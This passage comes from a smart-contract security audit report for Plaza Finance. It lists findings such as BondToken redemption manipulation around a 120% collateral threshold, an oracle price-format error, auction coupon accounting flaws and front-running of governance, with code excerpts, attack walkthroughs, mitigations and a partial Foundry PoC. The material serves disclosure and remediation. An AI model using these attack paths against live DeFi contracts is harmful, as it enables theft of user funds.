• If collateralLevel <= 120%:

    redeemRate = (tvl * multiplier) / assetSupply  

  Here, multiplier is 80%, and assetSupply is the total supply of BondToken. Since the collateralLevel is less than 120%, the redeemRate will be less than 120 * 80% = 96.
• If collateralLevel > 120%:

    redeemRate = 100  

As observed, when the collateralLevel moves from below to above 120%, the redeemRate is not continuous, moves from 96 to 100 suddenly.

This means that when the collateralLevel is around 120%, a minor increase in TVL can lead to a significant price increase of BondToken, resulting in substantial losses for LeverageToken holders, even as the TVL increases.

      function getRedeemAmount(  
        ...  
          
        uint256 redeemRate;  
511     if (collateralLevel <= COLLATERAL_THRESHOLD) {  
          redeemRate = ((tvl * multiplier) / assetSupply);  
        } else if (tokenType == TokenType.LEVERAGE) {  
          redeemRate = ((tvl - (bondSupply * BOND_TARGET_PRICE)) / assetSupply) * PRECISION;  
515     } else {  
          redeemRate = BOND_TARGET_PRICE * PRECISION;  
        }  
          
        // Calculate and return the final redeem amount  
        return ((depositAmount * redeemRate).fromBaseUnit(oracleDecimals) / ethPrice) / PRECISION;  
      }  

Internal pre-conditions

External pre-conditions

Attack Path

Let's consider the following scenario:

1. Current State of the Pool:
   • TVL: 1190
   • bondSupply: 10
   • collaterlLevel: 119%
   • TVL for BondToken: 1190 * 0.8 = 952
   • TVL for LeverageToken: 1190 * 0.2 = 238
2. Price of Underlying Rises:
   • TVL: 1210 (due to price increase)
   • bondSupply: 10
   • collaterlLevel: 121%
   • TVL for BondToken: 100 * 10 = 1000
   • TVL for LeverageToken: 1210 - 100 = 210

As you can see, LeverageToken holders incur a loss of 238 - 210 = 28, even though the underlying price has increased.

Impact

Even though the price of the underlying increases, LeverageToken holders incur a loss.

PoC

Mitigation

For COLLATERAL_THRESHOLD, use 125% instead of 120%.

Issue H-10: Users can sell BondToken at a higher price by manipulating the collateralLevel from < 120% to > 120% by purchasing LeverageToken.

Source: https://github.com/sherlock-audit/2024-12-plaza-finance-judging/issues/896

Found by

056Security, 0xc0ffEE, KupiaSec, bigbear1229, future, novaman33, t0x1c, zraxx

Summary

Buying LeverageToken increases TVL, which in turn raises the collateralLevel.

When redeeming BondToken, the redemption amount is determined by the collateralLevel. The calculation of the redemption amount varies depending on whether the collateralLevel is above or below 120%.

Therefore, BondToken redeemers can acquire more underlying assets by manipulating the collateralLevel from < 120% to > 120% through purchasing LeverageToken, ultimately resulting in a profit.

Root Cause

The getRedeemAmount() function calculates the redeemRate based on whether the collateralLevel is above or below 120%.

When collateralLevel < 120%, 80% of TVL is allocated for BondToken holders. In contrast, when collateralLevel > 120%, the price of BondToken is fixed at 100.

This vulnerability provides malicious users with an opportunity to manipulate the collateralLevel by purchasing LeverageToken, allowing them to redeem their BondTokens at a higher rate.

      function getRedeemAmount(  
        ...  
          
        uint256 collateralLevel;  
        if (tokenType == TokenType.BOND) {  
498       collateralLevel = ((tvl - (depositAmount * BOND_TARGET_PRICE)) * PRECISION) / ((bondSupply - depositAmount) * BOND_TARGET_PRICE);  
        } else {  
          multiplier = POINT_TWO;  
          assetSupply = levSupply;  
502       collateralLevel = (tvl * PRECISION) / (bondSupply * BOND_TARGET_PRICE);  
        ...  
          
        uint256 redeemRate;  
511     if (collateralLevel <= COLLATERAL_THRESHOLD) {  
          redeemRate = ((tvl * multiplier) / assetSupply);  
513     } else if (tokenType == TokenType.LEVERAGE) {  
          redeemRate = ((tvl - (bondSupply * BOND_TARGET_PRICE)) / assetSupply) * PRECISION;  
515     } else {  
          redeemRate = BOND_TARGET_PRICE * PRECISION;  
        }  
          
        ...  
      }  

Internal pre-conditions

External pre-conditions

Attack Path

Let's consider the following scenario:

• Current State of the Pool:
  • levSupply: 100
  • bondSupply: 100
  • TVL: $11000
• Bob wants to redeem 50 BondToken. Expected Values:
  • collaterlLevel: (11000 - 100 * 50) / (100 - 50) = 120% (see line 498)
  • Price of BondToken: 11000 * 0.8 / 100 = 88 (see the case at line 511)
  • Price of LeverageToken: 11000 * 0.2 / 100 = 22 (see the case at line 511)

As a result, Bob can only redeem 50 * 88 = 4400.

However, Bob manipulates collateralLevel.

1. Bob buys 10 LeverageToken by using $220:

   • levSupply: 100 + 10 = 110
   • bondSupply: 100
   • TVL: 11000 + 220 = 11220

2. Bob then sells 50 BondToken:

   • collaterlLevel: (11220 - 100 * 50) / (100 - 50) = 124.4% (see line 498)
   • price of BondToken: 100 (see the case at line 515)

   Bob receives 100 * 50 = 5000.

   • TVL: 11220 - 5000 = 6220
   • bondSupply: 100 - 50 = 50

3. Bob sells back 10 LeverageToken.

   • collaterlLevel: 6220 / 50 = 124.4% (see line 502)
   • Price of LeverageToken: (6220 - 100 * 50) / 110 = 11 (see the case at line 513)
   • Bob receives 10 * 11 = 110.

As you can see, Bob was initially able to redeem only $4400. However, by manipulating collateralLevel, he can increase his redemption to -220 + 5000 + 110 = 4890. Thus, he can profit by 4890 - 4400 = 490.

Impact

BondToken redeemers can obtain more than they are entitled to by manipulating the collateralLevel through purchasing LeverageToken.

PoC

Mitigation

The current price mechanism should be improved.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Convexity-Research/plaza-evm/pull/155

Issue H-11: Incorrect price representation

Source: https://github.com/sherlock-audit/2024-12-plaza-finance-judging/issues/1016

Found by

0x23r0, 0xc0ffEE, 10ap17, Ryonen, wickie

Summary

The latestRoundData() function in the BondOracleAdapter contract calculates a price using the PriceX96 format. However, the returned price is not converted to a format with a specified decimal precision (e.g., 18 decimals, as in a Chainlink oracle). As a result, the price returned by the function will be completely different from the expected decimal-based price format. This discrepancy leads to significant mistakes in asset valuation and renders every calculation using this price incorrect.

function latestRoundData()  
    external  
    view  
    returns (uint80, int256, uint256, uint256, uint80){  
    uint32[] memory secondsAgos = new uint32[](2);  
    secondsAgos[0] = twapInterval; // from (before)  
    secondsAgos[1] = 0; // to (now)  
  
    (int56[] memory tickCumulatives, ) = ICLPool(dexPool).observe(secondsAgos);  
  
    uint160 getSqrtTwapX96 = TickMath.getSqrtRatioAtTick(  
      int24((tickCumulatives[1] - tickCumulatives[0]) / int56(uint56(twapInterval)))  
    );  
  
    return (uint80(0), int256(getPriceX96FromSqrtPriceX96(getSqrtTwapX96)), block.timestamp, block.timestamp, uint80(0));  
  }  

Root Cause

In BondOracleAdapter's latestRoundData function the calculated price is not converted from priceX96 format to format with decimals (e.g. 18 decimals), which will result that the returned price is fundamentally different from what is required for correct asset valuation and subsequent calculations.

https://github.com/sherlock-audit/2024-12-plaza-finance/blob/14a962c52a8f4731bbe4655a2f6d0d85e144c7c2/plaza-evm/src/BondOracleAdapter.sol#L99

Internal Pre-conditions

No response

External Pre-conditions

No response

Attack Path

1. The latestRoundData() function will be called.
2. The function will calculate the price in the PriceX96 format.
3. The returned price will not be converted to a format with decimals of precision (e.g., 18 decimals).
4. Since the returned format is incorrect, the valuation of asset will be wrong.
5. All dependent calculations, that use the returned price, will produce incorrect results.

Impact

The failure to return a price in the correct format causes incorrect asset valuations, which would lead to incorrect calculations, potentially causing financial losses for users.

PoC

Step 1: Fetch sqrtPriceX96 from the Pool Contract
We will be using usdc/weth pool (random pool on polygon network, which doesn't matter, since we are just proving concept)

Contract Address: 0x45dda9cb7c25131df268515131f647d726f50608
Function: slot0()
Output: sqrtPriceX96 = 1390618563380010078436460929963734

Step 2: Calculate priceX96 from sqrtPriceX96
Function: getPriceX96FromSqrtPriceX96

  
function getPriceX96FromSqrtPriceX96(sqrtPriceX96) {  
  return FullMath.mulDiv(sqrtPriceX96, sqrtPriceX96, FixedPoint96.Q96);  
}  

Output: 24408239790603697707980053009065971527

This result is result that would be return form latestRoundData function, by current implementation, which is nowhere near the realistic price of weth in usdc token.

Step 3: Convert priceX96 to Actual Price with 18 Decimals
Next step, is to convert that price to the actual price that is in 18 decimals, since usdc has 6 decimals, and weth has 18, the formula would be:

FullMath.mulDiv(10 ** (18 + decimals1 - decimals0), FixedPoint96.Q96, priceX96)  

Output: 3245959692053023671448

The result is in 18 decimals and represents around 3245,95 usdc fer weth.

Mitigation

Consider using the approach used by the Saltio.IO project, which ensures proper conversion to the 18-decimal (in this case) standard. The implementation is as follows:

// Returns the price of token0 * (10**18) in terms of token1  
function _getUniswapTwapWei(IUniswapV3Pool pool, uint256 twapInterval) public view returns (uint256) {  
    uint32;  
    secondsAgo[0] = uint32(twapInterval); // from (before)  
    secondsAgo[1] = 0; // to (now)  
  
    // Get the historical tick data using the observe() function  
    (int56[] memory tickCumulatives, ) = pool.observe(secondsAgo);  
    int24 tick = int24((tickCumulatives[1] - tickCumulatives[0]) / int56(uint56(twapInterval)));  
    uint160 sqrtPriceX96 = TickMath.getSqrtRatioAtTick(tick);  
  
    // Convert the sqrtPriceX96 to a price with 18 decimals  
    uint256 p = FullMath.mulDiv(sqrtPriceX96, sqrtPriceX96, FixedPoint96.Q96);  
  
    uint8 decimals0 = ERC20(pool.token0()).decimals();  
    uint8 decimals1 = ERC20(pool.token1()).decimals();  
  
    if (decimals1 > decimals0) {  
        return FullMath.mulDiv(10 ** (18 + decimals1 - decimals0), FixedPoint96.Q96, p);  
    }  
  
    if (decimals0 > decimals1) {  
        return (FixedPoint96.Q96 * (10 ** 18)) / (p * (10 ** (decimals0 - decimals1)));  
    }  
  
    return (FixedPoint96.Q96 * (10 ** 18)) / p;  
}  

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Convexity-Research/plaza-evm/pull/158

Issue M-1: Failed auction period still update sharesPerToken like it is succeed

Source: https://github.com/sherlock-audit/2024-12-plaza-finance-judging/issues/48

Found by

056Security, 0rpse, 0x23r0, 0x52, 0xEkko, 0xShahilHussain, 0xadrii, 0xlucky, 0xmystery, Abhan1041, Adotsam, Aymen0909, ChainProof, Hueber, MysteryAuditor, Pablo, SamuelTroyDomi, Schnilch, ZoA, bladeee, bretzel, carlitox477, dobrevaleri, farismaulana, future, moray5554, novaman33, phn210, robertauditor, shui, silver_eth, sl1, y4y, zxriptor

Summary

The way bondETH holder get the coupon (USDC) is through the auction where protocol would auction amount of underlying asset for coupon to be later distributed to bondETH holder of current period.
But the BondToken::increaseIndexedAssetPeriod would always push the default value of sharesPerToken to the previous period to globalPool.previousPoolAmounts array when new auction start, regardless if the previous auction is succeed or not.

Root Cause

When auction is succeed, the coupon collected would later be sent to pool, and then pool would distribute and allocate the amount into distribute contract, and if it fails no coupon is sent to the pool thus making no amount to distribute and allocated to distribute contract and any previous bid can be claimed.

Auction.sol#L336-L350:

  function endAuction() external auctionExpired whenNotPaused {  
    if (state != State.BIDDING) revert AuctionAlreadyEnded();  
  
    if (currentCouponAmount < totalBuyCouponAmount) {  
      state = State.FAILED_UNDERSOLD;  
    } else if (totalSellReserveAmount >= (IERC20(sellReserveToken).balanceOf(pool) * poolSaleLimit) / 100) {  
        state = State.FAILED_POOL_SALE_LIMIT;  
    } else {  
      state = State.SUCCEEDED;  
      Pool(pool).transferReserveToAuction(totalSellReserveAmount);  
      IERC20(buyCouponToken).safeTransfer(beneficiary, IERC20(buyCouponToken).balanceOf(address(this)));  
    }  
  
    emit AuctionEnded(state, totalSellReserveAmount, totalBuyCouponAmount);  
  }  

regardless, anyone can call Pool::startAuction to start new auction. and this is problematic because inside the function the bondToken.increaseIndexedAssetPeriod(sharesPerToken) is called.

Pool.sol#L530-L571

  function startAuction() external whenNotPaused() {  
.  
.  
.  
  
    // Increase the bond token period  
@>  bondToken.increaseIndexedAssetPeriod(sharesPerToken);  
.  
.  
.  
  }  

when this function called, the previous failed auction data would then get pushed into the previousPoolAmounts array:

BondToken.sol#L217-L229

  function increaseIndexedAssetPeriod(uint256 sharesPerToken) public onlyRole(DISTRIBUTOR_ROLE) whenNotPaused() {  
    globalPool.previousPoolAmounts.push(  
      PoolAmount({  
        period: globalPool.currentPeriod,  
        amount: totalSupply(),  
@>      sharesPerToken: globalPool.sharesPerToken  
      })  
    );  
    globalPool.currentPeriod++;  
    globalPool.sharesPerToken = sharesPerToken;  
  
    emit IncreasedAssetPeriod(globalPool.currentPeriod, sharesPerToken);  
  }  

the sharesPerToken of previous period is updated by using default value of globalPool.sharesPerToken (docs said it would be equal to 2.5 USD)
even though there are no coupon get sent into distributor contract.

but nonetheless, the user can still claim the shares of 2 period even though there are no new coupon token inside the distributor contract.
and the claim function would then have liquidity problem

Distributor.sol#L78-L110

  function claim() external whenNotPaused nonReentrant {  
    BondToken bondToken = Pool(pool).bondToken();  
    address couponToken = Pool(pool).couponToken();  
  
    if (address(bondToken) == address(0) || couponToken == address(0)){  
      revert UnsupportedPool();  
    }  
  
    (uint256 currentPeriod,) = bondToken.globalPool();  
    uint256 balance = bondToken.balanceOf(msg.sender);  
@>  uint256 shares = bondToken.getIndexedUserAmount(msg.sender, balance, currentPeriod)  
                              .normalizeAmount(bondToken.decimals(), IERC20(couponToken).safeDecimals());  
  
    if (IERC20(couponToken).balanceOf(address(this)) < shares) {  
      revert NotEnoughSharesBalance();  
    }  
     
    // check if pool has enough *allocated* shares to distribute  
    if (couponAmountToDistribute < shares) {  
      revert NotEnoughSharesToDistribute();  
    }  
  
    // check if the distributor has enough shares tokens as the amount to distribute  
    if (IERC20(couponToken).balanceOf(address(this)) < couponAmountToDistribute) {  
      revert NotEnoughSharesToDistribute();  
    }  
  
    couponAmountToDistribute -= shares;      
    bondToken.resetIndexedUserAssets(msg.sender);  
    IERC20(couponToken).safeTransfer(msg.sender, shares);  
      
    emit ClaimedShares(msg.sender, currentPeriod, shares);  
  }  

notice that shares would be increased by adding the failed auction sharePerToken amount

Internal Pre-conditions

No response

External Pre-conditions

No response

Attack Path

1. auction 0 start -> end successfully and 50 USD coupon is sent to be claimed in distributor contract
2. each holder can claim 2.5 USD per bondETH in this period
3. auction 1 start -> end with undersold, no new usd coupon sent to distributor contract
4. each holder can claim 2.5 + 2.5 USD per bondETH held in this period if they held for 2 period
5. alice held since period 0, and have 10 bondETH. she can claim 10 * 5 = 50 USD
6. bob held since period 0, and have 10 bondETH. he cant claim because distributor contract now have 0 USD

Impact

holder of bondETH token can not claim shares if they late.
discrepancy in the can be claimed amount vs actual coupon token held inside distributor contract would make not enough coupon to be claimed for all bondETH holder

PoC

No response

Mitigation

when auction fails, consider to update the sharesPerToken for the failed period auction to 0.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Convexity-Research/plaza-evm/pull/157

Issue M-2: Bid with high price effectively can end up with lower price

Source: https://github.com/sherlock-audit/2024-12-plaza-finance-judging/issues/198

The protocol has acknowledged this issue.

Found by

ZoA

Summary

In the removeExcessBids function, when the total bid amount exceeds totalBuyCouponAmount, the contract reduces the sellCouponAmount and buyReserveAmount of the lowest-ranked bidder proportionally. This reduction introduces precision loss due to integer division, leading to a scenario where bids initially made at a high price effectively end up with a lower price..

Root Cause

On the line Auction.sol#L281, removeExcessBids function reduces sellCouponAmount and buyReserveAmount proportionally. However, the reduction uses integer arithmetic, causing rounding errors that alter the price ratio (sellCouponAmount / buyReserveAmount).

Internal Pre-conditions

No response

External Pre-conditions

No response

Attack Path

No response

PoC

• Assume totalBuyCouponAmount = 10e18, slotSize = 1e18 and currentCouponAmount = 10e18(full charged).
• The lowest bidder(bidder 1): buyReserveAmount = 1e8, sellCouponAmount = 1e18
• bidder 2: bids with buyReserveAmount = 9e8, sellCouponAmount = 9e18
  • price is same as the bidder 1's but sellCouponAmount is larger.
  • bidder 1 is removed and bidder 2 enters the list.
  • bidder 2's values change:
    • amountToRemove = 8e18
    • proportion = (amountToRemove * 1e18) / sellCouponAmount = 888888888888888888
    • new sellCouponAmount = 1e18
    • new buyReserveAmount = 9e8 - [9e8 * proportion] / 1e18 = 1e8 + 1
• Result: Bidder 2 has the lower price than Bidder 1.

Impact

1. Bid with high price effectively can end up with lower price.

2. The lowest bidder can repeat the same operation as above to increase the size of buyReserveAmount without changing sellCouponAmount.
   Attacker can either profit by 1wei(0.001 usd) which is more than the gas fee if the token is WBTC. In this case, even if the attacker's gain is not great due to gas fees, the protocol loses a lot of reserve tokens.

Mitigation

check whether the buyReserveAmount size increases before and after the bid.

function bid(uint256 buyReserveAmount, uint256 sellCouponAmount) external auctionActive whenNotPaused returns(uint256) {  
    ...  
    uint256 totalSellReserveAmountBefore = totalSellReserveAmount;  
  
    Bid memory newBid = Bid({  
    ...  
    removeExcessBids();  
  
    uint256 totalSellReserveAmountAfter = totalSellReserveAmount;  
    if(totalSellReserveAmountBefore < totalSellReserveAmountAfter) revert TotalSellReserveAmountIncreased();  
    ...  
}  

Issue M-3: User may lose funds if they call BalancerRouter::joinBalancerAndPredeposit

Source: https://github.com/sherlock-audit/2024-12-plaza-finance-judging/issues/278

The protocol has acknowledged this issue.

Found by

056Security, 0x23r0, 0xDemon, 0xShahilHussain, 0xc0ffEE, Adotsam, JohnTPark24, Kenn.eth, Kirkeelee, MysteryAuditor, Pablo, X0sauce, Xcrypt, ZeroTrust, ZoA, bladeee, dobrevaleri, farismaulana, future, hrmneffdii, makeWeb3safe, phoenixv110, super_jack, tutiSec, y4y

Summary

BalancerRouter::joinBalancerAndPredeposit calls Predeposit::deposit to deposit balancerPoolTokens into the Predeposit contract. In the Predeposit::deposit if reserveAmount + amount > reserveCap, the difference is deposited and the rest remains with msg.sender, which in this case is the BalancerRouter.

The user will have less than expected amount deposited in Predeposit without getting refund for the rest of the funds.

      function _deposit(uint256 amount, address onBehalfOf) private checkDepositStarted checkDepositNotEnded {  
        if (reserveAmount >= reserveCap) revert DepositCapReached();  
      
        address recipient = onBehalfOf == address(0) ? msg.sender : onBehalfOf;  
      
        // if user would like to put more than available in cap, fill the rest up to cap and add that to reserves  
@>        if (reserveAmount + amount >= reserveCap) {  
@>          amount = reserveCap - reserveAmount;  
        }  
      
        balances[recipient] += amount;  
        reserveAmount += amount;  
      
        IERC20(params.reserveToken).safeTransferFrom(msg.sender, address(this), amount);  
      
        emit Deposited(recipient, amount);  
      }  

Root Cause

No response

Internal Pre-conditions

No response

External Pre-conditions

No response

Attack Path

Assume reserveCap is 1,000 BPT and reserveAmount is 900BPT
User calls BalancerRouter::joinBalancerAndPredeposit and deposits assets worth 500 BPT
Only 100 BPT is deposited and users loses 400 BPT which is trapped inside the contract.

Impact

Loss of funds

PoC

No response

Mitigation

        function joinBalancerAndPredeposit(  
            bytes32 balancerPoolId,  
            address _predeposit,  
            IAsset[] memory assets,  
            uint256[] memory maxAmountsIn,  
            bytes memory userData  
        ) external nonReentrant returns (uint256) {  
            // Step 1: Join Balancer Pool  
            uint256 balancerPoolTokenReceived = joinBalancerPool(balancerPoolId, assets, maxAmountsIn, userData);  
      
            // Step 2: Approve balancerPoolToken for PreDeposit  
            balancerPoolToken.safeIncreaseAllowance(_predeposit, balancerPoolTokenReceived);  
+            uint256 BPTBalanceBefore = balancerPoolToken.balanceOf(address(this));  
  
            // Step 3: Deposit to PreDeposit  
            PreDeposit(_predeposit).deposit(balancerPoolTokenReceived, msg.sender);  
+         uint256 BPTBalanceAfter = balancerPoolToken.balanceOf(address(this));  
+          if (BPTBalanceAfter - BPTBalanceBefore > 0) {  
+             revert ( 'ReserveCap Reached` ); }  
            return balancerPoolTokenReceived;  
        }  

Issue M-4: levETH Cannot Be Bought.

Source: https://github.com/sherlock-audit/2024-12-plaza-finance-judging/issues/333

The protocol has acknowledged this issue.

Found by

KupiaSec, PeterSR, almurhasan, dobrevaleri, future, sl1

Summary

If all levETH owners sell their levETH, no one will be able to buy levETH.

Root Cause

The current implementation allows for the sale of all levETH without checking if the total supply has reached zero.
This results in a scenario where the price cannot be calculated, making the contract effectively useless

https://github.com/sherlock-audit/2024-12-plaza-finance/tree/main/plaza-evm/src/Pool.sol#L405

Pool.sol  
    function _redeem(  
        ...) private returns(uint256) {  
        ...  
        // Burn derivative tokens  
        if (tokenType == TokenType.BOND) {  
            bondToken.burn(msg.sender, depositAmount);  
        } else {  
405:        lToken.burn(msg.sender, depositAmount);  
        }  

Internal pre-conditions

N/A

External pre-conditions

N/A

Attack Path

N/A

PoC

When the levSupply reaches zero, the contract lacks a mechanism to calculate the price of levETH.
This results in an inability for users to purchase levETH.

https://github.com/sherlock-audit/2024-12-plaza-finance/tree/main/plaza-evm/src/Pool.sol#L331-L336

Pool.sol  
    function getCreateAmount(  
    ...) public pure returns(uint256) {  
    ...  
    if (collateralLevel <= COLLATERAL_THRESHOLD) {  
      if (tokenType == TokenType.LEVERAGE && assetSupply == 0) {  
331:    revert ZeroLeverageSupply();  
      }  
      creationRate = (tvl * multiplier) / assetSupply;  
    } else if (tokenType == TokenType.LEVERAGE) {  
      if (assetSupply == 0) {  
336:    revert ZeroLeverageSupply();  
      }  
  
      uint256 adjustedValue = tvl - (BOND_TARGET_PRICE * bondSupply);  
      creationRate = (adjustedValue * PRECISION) / assetSupply;  
    }  
      
    return ((depositAmount * ethPrice * PRECISION) / creationRate).toBaseUnit(oracleDecimals);  
  }  

In sherlock docs:

V. How to identify a medium issue:
2. Breaks core contract functionality, rendering the contract useless or leading to loss of funds that's relevant to the affected party.

The known issue 3.20: Missing a zero-value check for assetSupply refers to the lack of a mechanism for price calculation when the amount of levETH is zero.
The root cause of this report is the absence of a check during the redemption process.
Therefore, these two issues are not duplicates.

Impact

The functionality of the core contract is compromised, rendering the contract useless.

Mitigation

Pool.sol  
    function _redeem(  
        ...) private returns(uint256) {  
        ...  
        // Burn derivative tokens  
        if (tokenType == TokenType.BOND) {  
            bondToken.burn(msg.sender, depositAmount);  
        } else {  
+           require(depositAmount < lToken.totalbalance(),"");  
405:        lToken.burn(msg.sender, depositAmount);  
        }  

TestCode

https://github.com/sherlock-audit/2024-12-plaza-finance/tree/main/plaza-evm/test/Pool.t.sol#L1156
Changed lined function to following code.

  function testCreateRedeemWithFees() public {  
    vm.startPrank(governance);  
  
    // Create a pool with 2% fee  
    params.fee = 20000; // 2% fee (1000000 precision)  
    params.feeBeneficiary = address(0x942);  
  
    // Mint and approve reserve tokens  
    Token rToken = Token(params.reserveToken);  
    rToken.mint(governance, 120 ether);  
    rToken.approve(address(poolFactory), 120 ether);  
  
    Pool pool = Pool(poolFactory.createPool(params, 120 ether, 3000 ether, 200 ether, "", "", "", "", false));  
      
    LeverageToken lToken = LeverageToken(pool.lToken());  
    lToken.transfer(user, lToken.balanceOf(governance));  
  
    vm.stopPrank();  
  
    // User creates leverage tokens  
    vm.startPrank(user);  
    console2.log("Before redeem");  
    pool.redeem(Pool.TokenType.LEVERAGE, lToken.balanceOf(user), 0);  
    console2.log(" After redeem");  
    console2.log("Before create");  
    pool.create(Pool.TokenType.LEVERAGE, 10 ether, 0);  
    console2.log(" After Create");  
  
    vm.stopPrank();  
  
    // Reset state  
    rToken.burn(user, rToken.balanceOf(user));  
    rToken.burn(address(pool), rToken.balanceOf(address(pool)));  
  }  

forge test --match-test "testCreateRedeemWithFees" -vv

Result:

[FAIL: ZeroLeverageSupply()] testCreateRedeemWithFees() (gas: 2054536)
Logs:
Before redeem
After redeem
Before create

Issue M-5: Wrong modifier on PreDeposit::setBondAndLeverageAmount function leads to big differences in user balances

Source: https://github.com/sherlock-audit/2024-12-plaza-finance-judging/issues/353

Found by

0xadrii, 0xl33, ZoA

Summary

PreDeposit::setBondAndLeverageAmount function has checkDepositNotEnded modifier, which means it can only be called while deposit phase has not ended yet. The problem with this is that users are free to call PreDeposit::deposit and PreDeposit::withdraw around the time of this function being called by governance, meaning that setBondAndLeverageAmount function can be frontrun/backrun by a griefer.

Consider this scenario:

1. Griefer deposits big amount of reserve tokens while deposit phase is active
2. Regular users deposit while deposit phase is active
3. Governance calls setBondAndLeverageAmount function at the end of deposit phase
4. Griefer frontruns the transaction and calls withdraw, inputting the same amount that they deposited before
5. Griefer's transaction executes, reducing PreDeposit contract's balance of reserve tokens by a lot
6. Governance's transaction executes, setting bondAmount and leverageAmount to values that were correct before the withdrawal happened, but not correct anymore, because reserve token balance is much smaller now
7. Deposit phase ends and governance is not able to call setBondAndLeverageAmount function anymore, due to the modifier mentioned previously
8. Pool gets created
9. Users who deposited in PreDeposit claim their tokens
10. New users call Pool::create and receive very different amounts of tokens than users who deposited in PreDeposit, due to total supplies of bondETH and levETH being inflated
11. Big differences in bondETH balances lead to users receiving different amounts of coupon tokens during distribution, due to sharesPerToken being the same for everyone

You can see the scenario described above in the PoC section.

Other scenarios can happen too, such as a late user calling PreDeposit::deposit function at the last possible moment, after governance already called setBondAndLeverageAmount, but I think one scenario is enough to showcase this issue.

Additional note: frontrunning in this scenario doesn't have to be intentional. Same result will be achieved if a regular user decides to withdraw at the same time as governance calls setBondAndLeverageAmount. It should not matter whether an attacker or a regular user makes the withdrawal, the issue exists and is possible. Additionally, due to the nature of blockchains, the attacker's transaction can be executed earlier than governance's just by pure luck and that will have consequences as described in this finding report.

Root Cause

Root cause - wrong modifier on setBondAndLeverageAmount function.

https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/PreDeposit.sol#L204

Modifier in question:

    modifier checkDepositNotEnded() {  
@>      if (block.timestamp >= depositEndTime) revert DepositEnded();  
        _;  
    }  

Internal Pre-conditions

Governance has to call setBondAndLeverageAmount function just before the deposit phase ends, which I think is likely, because if they call it earlier, they would have to call it again if any users call deposit or withdraw during that time.

External Pre-conditions

None.

Attack Path

Described in Summary section.

Impact

This issue leads to incorrect total supplies of bondETH and levETH (unhealthy market state), big differences in user token balances and unfairness during coupon distribution.

PoC

1. Create a new file in the test folder and name it TestSetBondAndLeverageAmount.t.sol
2. Paste the code provided below into the file:

// SPDX-License-Identifier: UNLICENSED  
pragma solidity ^0.8.24;  
  
import "forge-std/Test.sol";  
  
import {Pool} from "../src/Pool.sol";  
import {Token} from "./mocks/Token.sol";  
import {Utils} from "../src/lib/Utils.sol";  
import {BondToken} from "../src/BondToken.sol";  
import {PreDeposit} from "../src/PreDeposit.sol";  
import {Distributor} from "../src/Distributor.sol";  
import {PoolFactory} from "../src/PoolFactory.sol";  
import {Deployer} from "../src/utils/Deployer.sol";  
import {LeverageToken} from "../src/LeverageToken.sol";  
import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";  
import {OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";  
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";  
import {OracleFeeds} from "../src/OracleFeeds.sol";  
import {MockPriceFeed} from "./mocks/MockPriceFeed.sol";  
  
contract TestSetBondAndLeverageAmount is Test {  
    PreDeposit public preDeposit;  
    Token public reserveToken;  
    Token public couponToken;  
  
    address user1 = address(2);  
    address user2 = address(3);  
    address nonOwner = address(4);  
  
    PoolFactory private poolFactory;  
    PoolFactory.PoolParams private params;  
    Distributor private distributor;  
  
    address private deployer = address(0x5);  
    address private minter = address(0x6);  
    address private governance = address(0x7);  
  
    address public constant ethPriceFeed = address(0x71041dddad3595F9CEd3DcCFBe3D1F4b0a16Bb70);  
  
    uint256 constant INITIAL_BALANCE = 1000 ether;  
    uint256 constant RESERVE_CAP = 100 ether;  
    uint256 constant DEPOSIT_AMOUNT = 10 ether;  
    uint256 constant BOND_AMOUNT = 50 ether;  
    uint256 constant LEVERAGE_AMOUNT = 50 ether;  
    address private oracleFeedsContract;  
    MockPriceFeed private mockPriceFeed;  
    uint256 private constant CHAINLINK_DECIMAL_PRECISION = 10 ** 8;  
    uint8 private constant CHAINLINK_DECIMAL = 8;  
  
    function setUp() public {  
        // Set block time to 10 days in the future to avoid block.timestamp to start from 0  
        vm.warp(block.timestamp + 10 days);  
  
        vm.startPrank(governance);  
  
        reserveToken = new Token("Wrapped ETH", "WETH", false);  
        couponToken = new Token("USDC", "USDC", false);  
        vm.stopPrank();  
  
        setUp_PoolFactory();  
  
        vm.startPrank(governance);  
  
        params = PoolFactory.PoolParams({  
            fee: 0,  
            reserveToken: address(reserveToken),  
            couponToken: address(couponToken),  
            distributionPeriod: 90 days,  
            sharesPerToken: 2 * 10 ** 6,  
            feeBeneficiary: address(0)  
        });  
  
        preDeposit = PreDeposit(  
            Utils.deploy(  
                address(new PreDeposit()),  
                abi.encodeCall(  
                    PreDeposit.initialize,  
                    (  
                        params,  
                        address(poolFactory),  
                        block.timestamp,  
                        block.timestamp + 7 days,  
                        RESERVE_CAP,  
                        "",  
                        "",  
                        "",  
                        ""  
                    )  
                )  
            )  
        );  
  
        vm.stopPrank();  
  
        vm.startPrank(deployer);  
  
        OracleFeeds(oracleFeedsContract).setPriceFeed(params.reserveToken, address(0), ethPriceFeed, 99 days);  
  
        // Deploy the mock price feed  
        mockPriceFeed = new MockPriceFeed();  
  
        // Use vm.etch to deploy the mock contract at the specific address  
        bytes memory bytecode = address(mockPriceFeed).code;  
        vm.etch(ethPriceFeed, bytecode);  
  
        // Set oracle price  
        mockPriceFeed = MockPriceFeed(ethPriceFeed);  
        mockPriceFeed.setMockPrice(3000 * int256(CHAINLINK_DECIMAL_PRECISION), uint8(CHAINLINK_DECIMAL));  
  
        vm.stopPrank();  
  
        vm.startPrank(governance);  
        poolFactory.grantRole(poolFactory.POOL_ROLE(), governance);  
        vm.stopPrank();  
    }  
  
    function setUp_PoolFactory() internal {  
        vm.startPrank(deployer);  
  
        address contractDeployer = address(new Deployer());  
        oracleFeedsContract = address(new OracleFeeds());  
  
        address poolBeacon = address(new UpgradeableBeacon(address(new Pool()), governance));  
        address bondBeacon = address(new UpgradeableBeacon(address(new BondToken()), governance));  
        address levBeacon = address(new UpgradeableBeacon(address(new LeverageToken()), governance));  
        address distributorBeacon = address(new UpgradeableBeacon(address(new Distributor()), governance));  
  
        poolFactory = PoolFactory(  
            Utils.deploy(  
                address(new PoolFactory()),  
                abi.encodeCall(  
                    PoolFactory.initialize,  
                    (  
